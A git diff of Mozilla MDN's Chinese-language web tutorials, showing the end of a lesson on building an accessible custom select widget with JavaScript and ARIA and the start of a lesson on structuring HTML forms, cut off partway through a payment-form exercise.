href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code>。这一点非常重要,因为 <code>Array</code> 对象支持 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code> 函数,但是 {{domxref("NodeList")}} 不支持。由于 {{domxref("NodeList")}} 看起来实在是像一个 <code>Array</code> 并且因为 <code>forEach</code> 是这样的便于使用。我们可以轻易地添加对 {{domxref("NodeList")}}的支持,使我们的生活更轻松一些,像这样:</p> + +<pre class="brush: js">NodeList.prototype.forEach = function (callback) { + Array.prototype.forEach.call(this, callback); +}</pre> + +<p>我们没有开玩笑,这真的很容易实现。</p> + +<h3 id="构造事件回调">构造事件回调</h3> + +<p>基础已经准备好了,我们现在可以开始定义用户每次同我们的组件交互时会用到的所有函数了。</p> + +<pre class="brush: js">// 这个函数会用在每当我们想要停用一个自定义组件的时候 +// 它需要一个参数: +// select :要停用的带有 'select' 类的节点 +function deactivateSelect(select) { + + // 如果组件没有运行,不用进行任何操作 + if (!select.classList.contains('active')) return; + + // 我们需要获取自定义组件的选项列表 + var optList = select.querySelector('.optList'); + + // 关闭选项列表 + optList.classList.add('hidden'); + + // 然后停用组件本身 + select.classList.remove('active'); +} + +// 每当用户想要激活(或停用)这个组件的时候,会调用这个函数 +// 它需要2个参数: +// select : 要激活的带有'select'类的DOM节点 +// selectList : 包含所有带'select'类的DOM节点的列表 +function activeSelect(select, selectList) { + + // 如果组件已经激活了,不进行任何操作 + if (select.classList.contains('active')) return; + + // 我们需要关闭所有自定义组件的活动状态 + // 因为deactiveselect函数满足forEach回调函数的所有请求, + // 我们直接使用它,不使用中间匿名函数 + selectList.forEach(deactivateSelect); + + // 然后我们激活特定的组件 + select.classList.add('active'); +} + +// 每当用户想要打开/关闭选项列表的时候,会调用这个函数 +// 它需要一个参数: +// select : 要触发的列表的DOM节点 +function toggleOptList(select) { + + // 该列表不包含在组件中 + var optList = select.querySelector('.optList'); + + // 我们改变列表的class去显示/隐藏它 + optList.classList.toggle('hidden'); +} + +// 每当我们要高亮一个选项的时候,会调用该函数 +// 它需要两个参数: +// select : 带有'select'类的DOM节点,包含了需要高亮强调的选项 +// option : 需要高亮强调的带有'option'类的DOM节点 +function highlightOption(select, option) { + + // 为我们的自定义select元素获取所有有效选项的列表 + var optionList = select.querySelectorAll('.option'); + + // 我们移除所有选项的高亮强调 + optionList.forEach(function (other) { + other.classList.remove('highlight'); + }); + + // 我们高亮强调正确的选项 + option.classList.add('highlight'); +};</pre> + +<p>这是你需要用来处理组件不同状态的所有代码。</p> + +<p>接下来,我们将这些函数绑定到合适的事件上:</p> + +<pre class="brush: js">// 我们处理文档加载时的事件绑定。 +window.addEventListener('load', function () { + var selectList = document.querySelectorAll('.select'); + + // 每个自定义组件都需要初始化 + selectList.forEach(function (select) { + + // 它的'option'元素也需要 + var optionList = select.querySelectorAll('.option'); + + // 每当用户的鼠标悬停在一个选项上时,我们高亮这个指定的选项 + optionList.forEach(function (option) { + option.addEventListener('mouseover', function () { + // 注意:'select'和'option'变量是我们函数调用范围内有效的闭包 。 + highlightOption(select, option); + }); + }); + + // 每当用户点击一个自定义的select元素时 + select.addEventListener('click', function (event) { + // 注意:'select'变量是我们函数调用范围内有效的闭包。 + + // 我们改变选项列表的可见性 + toggleOptList(select); + }); + + // 如果组件获得了焦点 + // 每当用户点击它或是用tab键访问这个组件时,组件获得焦点 + select.addEventListener('focus', function (event) { + // 注意:'select'和'selectlist'变量是我们函数调用范围内有效的闭包 。 + + // 我们激活这个组件 + activeSelect(select, selectList); + }); + + // 如果组件失去焦点 + select.addEventListener('blur', function (event) { + // 注意:'select'变量是我们函数调用范围内有效的闭包。 + + // 我们关闭这个组件 + deactivateSelect(select); + }); + }); +});</pre> + +<p>此时,我们的组件会根据我们的设计改变状态,但是它的值仍然没有更新。我们接下来会处理这件事。</p> + +<table> + <thead> + <tr> + <th scope="col" style="text-align: center;">Live example</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{EmbedLiveSample("Change_states",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_3")}}</td> + </tr> + <tr> + <td style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3">Check out the source code</a></td> + </tr> + </tbody> +</table> + +<h3 id="处理组件的值">处理组件的值</h3> + +<p>既然我们的组件已经开始工作了,我们必须添加代码,使其能够根据用户的输入更新取值,并且能将取值随表单数据一同发送。</p> + +<p>实现这一点最简单的方法是使用后台原生组件。这样的一个组件会使用浏览器提供的所有内置控件跟踪值,并且在表单提交时,取值也会像往常一样发送。当有现成的功能时,我们再做重复工作就毫无意义了。</p> + +<p>像前面所看到的那样,出于可访问性的原因,我们已经使用了一个原生的选择组件作为后备显示内容;我们可轻松的将它的值与我们的自定义组件之间的值同步。</p> + +<pre class="brush: js">// 这个函数更新显示的值并将其通过原生组件同步 +// 它需要2个参数: +// select : 含有要更新的值的'select'类的DOM节点 +// index : 要被选择的值的索引 +function updateValue(select, index) { + // 我们需要为了给定的自定义组件获取原生组件 + // 在我们的例子中, 原生组件是自定义组件的‘同胞’ + var nativeWidget = select.previousElementSibling; + + // 我们也需要得到自定义组件的值占位符, + var value = select.querySelector('.value'); + + // 还有整个选项列表。 + var optionList = select.querySelectorAll('.option'); + + // 我们将被选择的索引设定为我们的选择的索引 + nativeWidget.selectedIndex = index; + + // 更新相应的值占位符 + value.innerHTML = optionList[index].innerHTML; + + // 然后高亮我们自定义组件里对应的选项 + highlightOption(select, optionList[index]); +}; + +// 这个函数返回原生组件里当前选定的索引 +// 它需要1个参数: +// select : 跟原生组件有关的'select'类DOM节点 +function getIndex(select) { + // 我们需要为了给定的自定义组件访问原生组件 + // 在我们的例子中, 原生组件是自定义组件的一个“同胞” + var nativeWidget = select.previousElementSibling; + + return nativeWidget.selectedIndex; +};</pre> + +<p>通过这两个函数,我们可以将原生组件绑定到自定义的组件上。</p> + +<pre class="brush: js">// 我们在文档加载时处理事件的绑定。 +window.addEventListener('load', function () { + var selectList = document.querySelectorAll('.select'); + + // 每个自定义组件都需要初始化 + selectList.forEach(function (select) { + var optionList = select.querySelectorAll('.option'), + selectedIndex = getIndex(select); + + // 使我们的自定义组件可以获得焦点 + select.tabIndex = 0; + + // 我们让原生组件无法获得焦点 + select.previousElementSibling.tabIndex = -1; + + // 确保默认选中的值正确显示 + updateValue(select, selectedIndex); + + // 每当用户点击一个选项的时候,更新相应的值 + optionList.forEach(function (option, index) { + option.addEventListener('click', function (event) { + updateValue(select, index); + }); + }); + + // 每当用户在获得焦点的组件上用键盘操作时,更新相应的值 + select.addEventListener('keyup', function (event) { + var length = optionList.length, + index = getIndex(select); + + // 当用户点击向下箭头时,跳转到下一个选项 + if (event.keyCode === 40 && index < length - 1) { index++; } + + // 当用户点击向上箭头时,跳转到上一个选项 + if (event.keyCode === 38 && index > 0) { index--; } + + updateValue(select, index); + }); + }); +});</pre> + +<p>在上面的代码里,值得注意的是 <code><a href="/en-US/docs/Web/API/HTMLElement/tabIndex" title="/en-US/docs/Web/API/HTMLElement/tabIndex">tabIndex</a></code> 属性的使用。使用这个属性是很有必要的,这可以确保原生组件将永远不会获得焦点,而且还可以确保当用户用户使用键盘和鼠标时,我们的自定义组件能够获得焦点。</p> + +<p>做完上面这些后,我们就完成了!下面是结果:</p> + +<table> + <thead> + <tr> + <th scope="col" style="text-align: center;">Live example</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{EmbedLiveSample("Change_states",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_4")}}</td> + </tr> + <tr> + <td style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_4" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_4">Check out the source code</a></td> + </tr> + </tbody> +</table> + +<p>但是等等,我们真的做完了嘛?</p> + +<h2 id="使其具有可访问性">使其具有可访问性</h2> + +<p>我们构建了一个能够生效的东西,尽管这离一个特性齐全的选择框还差得远,但是它效果不错。但是我们已经完成的事情只不过是摆弄DOM。这个组件并没有真正的语义,即使它看起来像一个选择框,但是从浏览器的角度来看并不是,所以辅助技术并不能明白这是一个选择框。简单来说,这个全新的选择框并不具备可访问性!</p> + +<p>幸运的是,有一种解决方案叫做 <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a>。ARIA代表"无障碍富互联网应用"。这是一个专为我们现在做的事情设计的<a href="http://www.w3.org/TR/wai-aria/" rel="external" title="http://www.w3.org/TR/wai-aria/"> W3C 规范</a>:使网络应用和自定义组件易于访问,它本质上是一组用来拓展 HTML 的属性集,以便我们能够更好的描述角色,状态和属性,就像我们刚才设计的元素是是它试图传递的原生元素一样。使用这些属性非常简单,所以让我们来试试看。</p> + +<h3 id="role_属性"> <code>role</code> 属性</h3> + +<p><a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a> 使用的关键属性是 <a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques"><code>role</code></a> 属性。<a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques"><code>role</code></a> 属性接受一个值,该值定义了一个元素的用途。每一个 role 定义了它自己的需求和行为。在我们的例子中,我们会使用 <code><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role">listbox</a></code> 这一 role。这是一个 "合成角色",表示具有该role的元素应该有子元素,每个子元素都有特定的角色。(在这个案例中,至少有一个具有<code>option</code> 角色的子元素)。</p> + +<p>同样值得注意的是,ARIA定义了默认应用于标准 HTML 标记的角色。例如,{{HTMLElement("table")}} 元素与角色 <code>grid</code> 相匹配,而 {{HTMLElement("ul")}} 元素与角色 <code>list</code> 相匹配。由于我们使用了一个 {{HTMLElement("ul")}} 元素,我们想要确保我们组件的 <code>listbox</code> 角色能替代 {{HTMLElement("ul")}} 元素的<code>list</code> 角色。为此,我们会使用角色 <code>presentation</code>。这个角色被设计成让我们来表示一个元素没有特殊的含义,并且仅仅用于提供信息。我们会将其应用到{{HTMLElement("ul")}} 元素上。</p> + +<p>为了支持 <code><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role">listbox</a></code> 角色,我们只需要将我们 HTML 改成这样:</p> + +<pre class="brush: html"><!-- 我们把role="listbox" 属性添加到我们的顶部元素 --> +<div class="select" role="listbox"> + <span class="value">Cherry</span> + <!-- 我们也把 role="presentation" 添加到ul元素中 --> + <ul class="optList" role="presentation"> + <!-- 然后把role="option" 属性添加到所有li元素里 --> + <li role="option" class="option">Cherry</li> + <li role="option" class="option">Lemon</li> + <li role="option" class="option">Banana</li> + <li role="option" class="option">Strawberry</li> + <li role="option" class="option">Apple</li> + </ul> +</div></pre> + +<div class="note"> +<p><strong>注意:</strong>只有当你想要为不支持 <a href="/en-US/docs/CSS/Attribute_selectors" title="/en-US/docs/CSS/Attribute_selectors">CSS 属性选择器的</a>旧浏览器提供支持时,才有必要同时包含 <code>role</code> 属性和一个<code>class</code> 属性。</p> +</div> + +<h3 id="aria-selected_属性"> <code>aria-selected</code> 属性</h3> + +<p>仅仅使用 <a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques"><code>role</code></a> 属性是不够的。 <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a> 还提供了许多状态和属性的内部特征。你能更好更充分的利用它们,你的组件就会能够被辅助技术更好的理解。在我们的例子中,我们会把使用限制在一个属性上:<code>aria-selected</code>。</p> + +<p><code>aria-selected</code> 属性被用来标记当前被选中的选项;这可以让辅助技术告知用户当前的选项是什么。我们会通过 JavaScript 动态地使用该属性,每当用户选择一个选项时标记选中的选项。为了达到这一目的,我们需要修正我们的 <code>updateValue()</code> 函数:</p> + +<pre class="brush: js">function updateValue(select, index) { + var nativeWidget = select.previousElementSibling; + var value = select.querySelector('.value'); + var optionList = select.querySelectorAll('.option'); + + // 我们确保所有的选项都没有被选中 + optionList.forEach(function (other) { + other.setAttribute('aria-selected', 'false'); + }); + + // 我们确保选定的选项被选中了 + optionList[index].setAttribute('aria-selected', 'true'); + + nativeWidget.selectedIndex = index; + value.innerHTML = optionList[index].innerHTML; + highlightOption(select, optionList[index]); +};</pre> + +<p>这是经过所有的改变之后的最终结果。 ( 藉由 <a href="http://www.nvda-project.org/" rel="external" title="http://www.nvda-project.org/">NVDA</a> or <a href="http://www.apple.com/accessibility/voiceover/" rel="external" title="http://www.apple.com/accessibility/voiceover/">VoiceOver</a> 这样的辅助技术尝试它,你会对此有更好的体会):</p> + +<table> + <thead> + <tr> + <th scope="col" style="text-align: center;">在线示例</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{EmbedLiveSample("Change_states",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_5")}}</td> + </tr> + <tr> + <td style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_5" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_5">Check out the final source code</a></td> + </tr> + </tbody> +</table> + +<h2 id="总结">总结</h2> + +<p>我们已经了解了所有和构建一个自定义表单组件相关的基础知识,但是如你所见做这件事非常繁琐,并且通常情况下依赖第三方库,而不是自己从头写起会更容易 ,也更好(当然,除非你的目的就是构建一个这样的库)。</p> + +<p>这儿有一些库,在你编写自己的之前应该了解一下:</p> + +<ul> + <li><a href="http://jqueryui.com/" rel="external" title="http://jqueryui.com/">jQuery UI</a></li> + <li><a href="https://github.com/marghoobsuleman/ms-Dropdown" rel="external" title="https://github.com/marghoobsuleman/ms-Dropdown">msDropDown</a></li> + <li><a href="http://www.emblematiq.com/lab/niceforms/" rel="external" title="http://www.emblematiq.com/lab/niceforms/">Nice Forms</a></li> + <li><a href="https://www.google.fr/search?q=HTML+custom+form+controls&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:fr:official&client=firefox-a" rel="external" title="https://www.google.fr/search?q=HTML+custom+form+controls&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:fr:official&client=firefox-a">And many more…</a></li> +</ul> + +<p>如果你想更进一步, 本例中的代码需要一些改进,才能变得更加通用和可重用。这是一个你可以尝试去做的练习。这里有两个提示可以帮到你:我们所有函数的第一个参数是相同的,这意味着这些函数需要相同的上下文。构建一个对象来共享那些上下文是更聪明的做法。还有,你需要让它的特性适用性更好;也就是说,它要能在一系列对Web标准的兼容性不同的浏览器上工作良好。祝愉快!</p> + +<p>{{PreviousMenuNext("Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms")}}</p> + +<h2 id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Your_first_HTML_form">Your first HTML form</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">How to structure an HTML form</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">The native form widgets</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Sending form data</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Form_validation">Form data validation</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">HTML forms in legacy browsers</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Styling_HTML_forms">Styling HTML forms</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></li> +</ul> diff --git a/files/zh-cn/learn/html/forms/how_to_structure_an_html_form/index.html b/files/zh-cn/learn/html/forms/how_to_structure_an_html_form/index.html new file mode 100644 index 0000000000..eda4b201da --- /dev/null +++ b/files/zh-cn/learn/html/forms/how_to_structure_an_html_form/index.html @@ -0,0 +1,290 @@ +--- +title: 如何构造HTML表单 +slug: Learn/HTML/Forms/How_to_structure_an_HTML_form +translation_of: Learn/Forms/How_to_structure_a_web_form +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Forms/Your_first_HTML_form", "Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms")}}</div> + +<p class="summary">有了基础知识,我们现在更详细地了解了用于为表单的不同部分提供结构和意义的元素。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的计算机能力, 和基本的 <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML">对HTML的理解</a>。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>要理解如何构造HTML表单并赋予它们语义,以便它们是可用的和可访问的。</td> + </tr> + </tbody> +</table> + +<p>HTML表单的灵活性使它们成为HTML中最复杂的结构之一;您可以使用专用的表单元素和属性构建任何类型的基本表单。在构建HTML表单时使用正确的结构将有助于确保表单可用性和可访问性。</p> + +<h2 id="<form>_元素"> <form> 元素</h2> + +<p> {{HTMLElement("form")}} 元素按照一定的格式定义了表单和确定表单行为的属性。当您想要创建一个HTML表单时,都必须从这个元素开始,然后把所有内容都放在里面。许多辅助技术或浏览器插件可以发现{{HTMLElement("form")}}元素并实现特殊的钩子,使它们更易于使用。 </p> + +<p>我们早在之前的文章中就遇见过它了。</p> + +<div class="note"><strong>注意:</strong> 严格禁止在一个表单内嵌套另一个表单。嵌套会使表单的行为不可预知,而这取决于正在使用的浏览器。</div> + +<p>请注意,在{{HTMLElement("form")}}元素之外使用表单小部件是可以的,但是如果您这样做了,那么表单小部件与任何表单都没有任何关系。这样的小部件可以在表单之外使用,但是您应该对于这些小部件有特别的计划,因为它们自己什么也不做。您将不得不使用JavaScript定制他们的行为。</p> + +<div class="note"> +<p><strong>注意</strong>: HTML5在HTML表单元素中引入<code>form</code>属性。它让您显式地将元素与表单绑定在一起,即使元素不在{{ HTMLElement("form") }}中。不幸的是,就目前而言,跨浏览器对这个特性的实现还不足以使用。</p> +</div> + +<h2 id="<fieldset>_和_<legend>_元素"> <fieldset> 和 <legend> 元素</h2> + +<p>{{HTMLElement("fieldset")}}元素是一种方便的用于创建具有相同目的的小部件组的方式,出于样式和语义目的。 你可以在<code><fieldset></code>开口标签后加上一个 {{HTMLElement("legend")}}元素来给{{HTMLElement("fieldset")}} 标上标签。 {{HTMLElement("legend")}}的文本内容正式地描述了{{HTMLElement("fieldset")}}里所含有部件的用途。</p> + +<p>许多辅助技术将使用{{HTMLElement("legend")}} 元素,就好像它是相应的 {{HTMLElement("fieldset")}} 元素里每个部件的标签的一部分。例如,在说出每个小部件的标签之前,像<a href="http://www.freedomscientific.com/products/fs/jaws-product-page.asp" rel="external" title="http://www.freedomscientific.com/products/fs/jaws-product-page.asp">Jaws</a>或<a href="http://www.nvda-project.org/" rel="external" title="http://www.nvda-project.org/">NVDA</a>这样的屏幕阅读器会朗读出legend的内容。</p> + +<p>这里有一个小例子:</p> + +<pre class="brush:html;"><form> + <fieldset> + <legend>Fruit juice size</legend> + <p> + <input type="radio" name="size" id="size_1" value="small"> + <label for="size_1">Small</label> + </p> + <p> + <input type="radio" name="size" id="size_2" value="medium"> + <label for="size_2">Medium</label> + </p> + <p> + <input type="radio" name="size" id="size_3" value="large"> + <label for="size_3">Large</label> + </p> + </fieldset> +</form></pre> + +<div class="note"> +<p><strong>注意</strong>: 你可以在 <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/fieldset-legend.html">fieldset-legend.html</a> (你也可以看<a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/fieldset-legend.html">预览版</a>) 看到该例。</p> +</div> + +<p>当阅读上述表格时,屏幕阅读器将会读第一个小部件“Fruit juice size small”,“Fruit juice size medium”为第二个,“Fruit juice size large”为第三个。</p> + +<p>本例中的用例是最重要的。每当您有一组单选按钮时,您应该将它们嵌套在{{HTMLElement("fieldset")}}元素中。还有其他用例,一般来说,{{HTMLElement("fieldset")}}元素也可以用来对表单进行分段。理想情况下,长表单应该在拆分为多个页面,但是如果表单很长,却必须在单个页面上,那么将以不同的关联关系划分的分段,分别放在不同的fieldset里,可以提高可用性。</p> + +<p>因为它对辅助技术的影响, {{HTMLElement("fieldset")}} 元素是构建可访问表单的关键元素之一。无论如何,你有责任不去滥用它。如果可能,每次构建表单时,尝试侦听<a href="https://www.nvaccess.org/download/" title="屏幕阅读器">屏幕阅读器</a>如何解释它。如果听起来很奇怪,试着改进表单结构。</p> + +<h2 id="<label>_元素"> <label> 元素</h2> + +<p>正如我们在前一篇文章中看到的, {{HTMLElement("label")}} 元素是为HTML表单小部件定义标签的正式方法。如果你想构建可访问的表单,这是最重要的元素——当实现的恰当时,屏幕阅读器会连同有关的说明和表单元素的标签一起朗读。以我们在上一篇文章中看到的例子为例:</p> + +<pre class="brush: html"><label for="name">Name:</label> <input type="text" id="name" name="user_name"></pre> + +<p><code><label></code> 标签与 <code><input></code> 通过他们各自的<code>for</code> 属性和 <code>id</code> 属性正确相关联(label的for属性和它对应的小部件的id属性),这样,屏幕阅读器会读出诸如“Name, edit text”之类的东西。</p> + +<p>如果标签没有正确设置,屏幕阅读器只会读出“Edit text blank”之类的东西,这样会没什么帮助。</p> + +<p>注意,一个小部件可以嵌套在它的{{HTMLElement("label")}}元素中,就像这样:</p> + +<pre class="brush: html"><label for="name"> + Name: <input type="text" id="name" name="user_name"> +</label></pre> + +<p>尽管可以这样做,但人们认为设置<code>for</code>属性才是最好的做法,因为一些辅助技术不理解标签和小部件之间的隐式关系。</p> + +<h3 id="标签也可点击!">标签也可点击!</h3> + +<p>正确设置标签的另一个好处是可以在所有浏览器中单击标签来激活相应的小部件。这对于像文本输入这样的例子很有用,这样你可以通过点击标签,和点击输入区效果一样,来聚焦于它,这对于单选按钮和复选框尤其有用——这种控件的可点击区域可能非常小,设置标签来使它们可点击区域变大是非常有用的。</p> + +<p>举个例子:</p> + +<pre class="brush:html;"><form> + <p> + <label for="taste_1">I like cherry</label> + <input type="checkbox" id="taste_1" name="taste_cherry" value="1"> + </p> + <p> + <label for="taste_2">I like banana</label> + <input type="checkbox" id="taste_2" name="taste_banana" value="2"> + </p> +</form></pre> + +<div class="note"> +<p><strong>注意</strong>: 你可以在 <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/checkbox-label.html">checkbox-label.html</a> (你也可以看<a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/checkbox-label.html">预览版</a>) 看到该例。</p> +</div> + +<h3 id="多个标签">多个标签</h3> + +<p>严格地说,您可以在一个小部件上放置多个标签,但是这不是一个好主意,因为一些辅助技术可能难以处理它们。在多个标签的情况下,您应该将一个小部件和它的标签嵌套在一个{{HTMLElement("label")}}元素中。</p> + +<p>让我们考虑下面这个例子:</p> + +<pre class="brush: html"><p>Required fields are followed by <abbr title="required">*</abbr>.</p> + +<!--这样写:--> +<div> + <label for="username">Name:</label> + <input type="text" name="username"> + <label for="username"><abbr title="required">*</abbr></label> +</div> + +<!--但是这样写会更好:--> +<div> + <label for="username"> + <span>Name:</span> + <input id="username" type="text" name="username"> + <abbr title="required">*</abbr> + </label> +</div> + +<!--但最好的可能是这样:--> +<div> + <label for="username">Name: <abbr title="required">*</abbr></label> + <input id="username" type="text" name="username"> +</div></pre> + +<p>顶部的段落定义了所需元素的规则。它必须在开始时确保像屏幕阅读器这样的辅助技术在用户找到必需的元素之前显示或念出它们。这样,他们就知道星号表达的是什么意思了。根据屏幕阅读器的设置,屏幕阅读器会把星号读为“star”或“required”,取决于屏幕阅读器的设置——不管怎样,要念出来的都会在第一段清楚的呈现出来。</p> + +<ul> + <li>在第一个例子中,标签根本没有和<code>input</code>一起被念出来——读出来的只是“edit the blank”,和单独被念出的标签。多个<code><label></code>元素会使屏幕阅读器迷惑。</li> + <li>在第二个例子中,事情变得清晰一点了——标签和输入一起,读出的是“name star name edit text”,但标签仍然是单独读出的。这还是有点令人困惑,但这次还是稍微好一点了,因为<code>input</code>和<code>label</code>联系起来了。</li> + <li>第三个例子是最好的——标签是一起读出的,标签和输入读出的是“name star edit text”。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>:你可能会得到一些不同的结果,这取决于你的屏幕阅读器。这是在VoiceOver上测试的(NVDA的行为也类似)。我们也乐于听听你的试验结果。</p> +</div> + +<div class="note"> +<p><strong>注意</strong>: 你可以在 GitHub 上看到 <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/required-labels.html">required-labels.html</a> (你也可以看<a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/required-labels.html">预览版</a>)。不要运行2个或3个未注释版本的示例—— 如果您有多个标签和多个输入相同的ID,那么屏幕阅读器肯定会感到困惑!</p> +</div> + +<h2 id="用于表单的通用HTML结构">用于表单的通用HTML结构</h2> + +<p>除了特定于HTML表单的结构之外,还应该记住表单同样是HTML。这意味着您可以使用HTML的所有强大功能来构造一个HTML表单。</p> + +<p>正如您在示例中可以看到的,用{{HTMLElement("div")}}元素包装标签和它的小部件是很常见的做法。{{HTMLElement("p")}}元素也经常被使用,HTML列表也是如此(后者在构造多个复选框或单选按钮时最为常见)。</p> + +<p>除了{{HTMLElement("fieldset")}}元素之外,使用HTML标题(例如,{{htmlelement("h1")}}、{{htmlelement("h2")}})和分段(如{{htmlelement("section")}})来构造一个复杂的表单也是一种常见的做法。</p> + +<p>最重要的是,你要找到一种你觉得很舒服的风格去码代码,而且它也能带来可访问的、可用的形式。</p> + +<p>它包含了从功能上划分开并分别包含在{{htmlelement("section")}}元素中的部分,以及一个{{htmlelement("fieldset")}}来包含单选按钮。</p> + +<h3 id="自主学习构建一个表单结构">自主学习:构建一个表单结构</h3> + +<p>让我们把这些想法付诸实践,建立一个稍微复杂一点的表单结构——一个支付表单。这个表单将包含许多您可能还不了解的小部件类型—现在不要担心这个;在下一篇文章(<a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">原生表单小部件</a>)中,您将了解它们是如何工作的。现在,当您遵循下面的指令时,请仔细阅读这些描述,并开始理解我们使用的包装器元素是如何构造表单的,以及为什么这么做。</p> + +<ol> + <li>在开始之前,在计算机上的一个新目录中,创建一个<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">空白模板文件</a>和<a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.css">我们的支付表单的CSS样式</a>的本地副本。</li> + <li>首先,通过添加下面这行代码到你的HTML{{htmlelement("head")}}使你的HTML应用CSS。 + <pre class="brush: html"><link href="payment-form.css" rel="stylesheet"></pre> + </li> + <li>接下来,通过添加外部{{htmlelement("form")}}元素来开始一张表单: + <pre class="brush: html"><form> + +</form></pre> + </li> + <li>在 <code><form></code> 标签内,以添加一个标题和段落开始,告诉用户必需的字段是如何标记的: + <pre class="brush: html"><h1>Payment form</h1> +<p>Required fields are followed by <strong><abbr title="required">*</abbr></strong>.</p></pre> + </li> + <li>接下来,我们将在表单中添加一个更大的代码段,在我们之前的代码下面。在这里,您将看到,我们正在将联系人信息字段包装在一个单独的{{htmlelement("section")}}元素中。此外,我们有一组两个单选按钮,每个单选按钮都放在自己的列表中({{htmlelement("li")}}))元素。最后,我们有两个标准文本{{htmlelement("input")}}和它们相关的{{htmlelement("label")}}元素,每个元素包含在{{htmlelement("p")}}中,加上输入密码的密码输入。现在将这些代码添加到您的表单中: + <pre><section> + <h2>Contact information</h2> + <fieldset> + <legend>Title</legend> + <ul> + <li> + <label for="title_1"> + <input type="radio" id="title_1" name="title" value="K" > + King + </label> + </li> + <li> + <label for="title_2"> + <input type="radio" id="title_2" name="title" value="Q"> + Queen + </label> + </li> + <li> + <label for="title_3"> + <input type="radio" id="title_3" name="title" value="J"> + Joker + </label> + </li> + </ul> + </fieldset> + <p> + <label for="name"> + <span>Name: </span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="text" id="name" name="username"> + </p> + <p> + <label for="mail"> + <span>E-mail: </span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="email" id="mail" name="usermail"> + </p> + <p> + <label for="pwd"> + <span>Password: </span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="password" id="pwd" name="password"> + </p> +</section></pre> + </li> + <li>现在,我们将转到表单的第二个<code><section></code>——支付信息。在这里,我们有三个不同的小部件以及它们的标签,每个都包含在一个<code><p></code>中。第一个是选择信用卡类型的下拉菜单({{htmlelement("select")}})。第二个是输入一个信用卡号的类型编号的 <code><input></code> 元素。最后一个是输入<code>date</code>类型的<code><input></code> 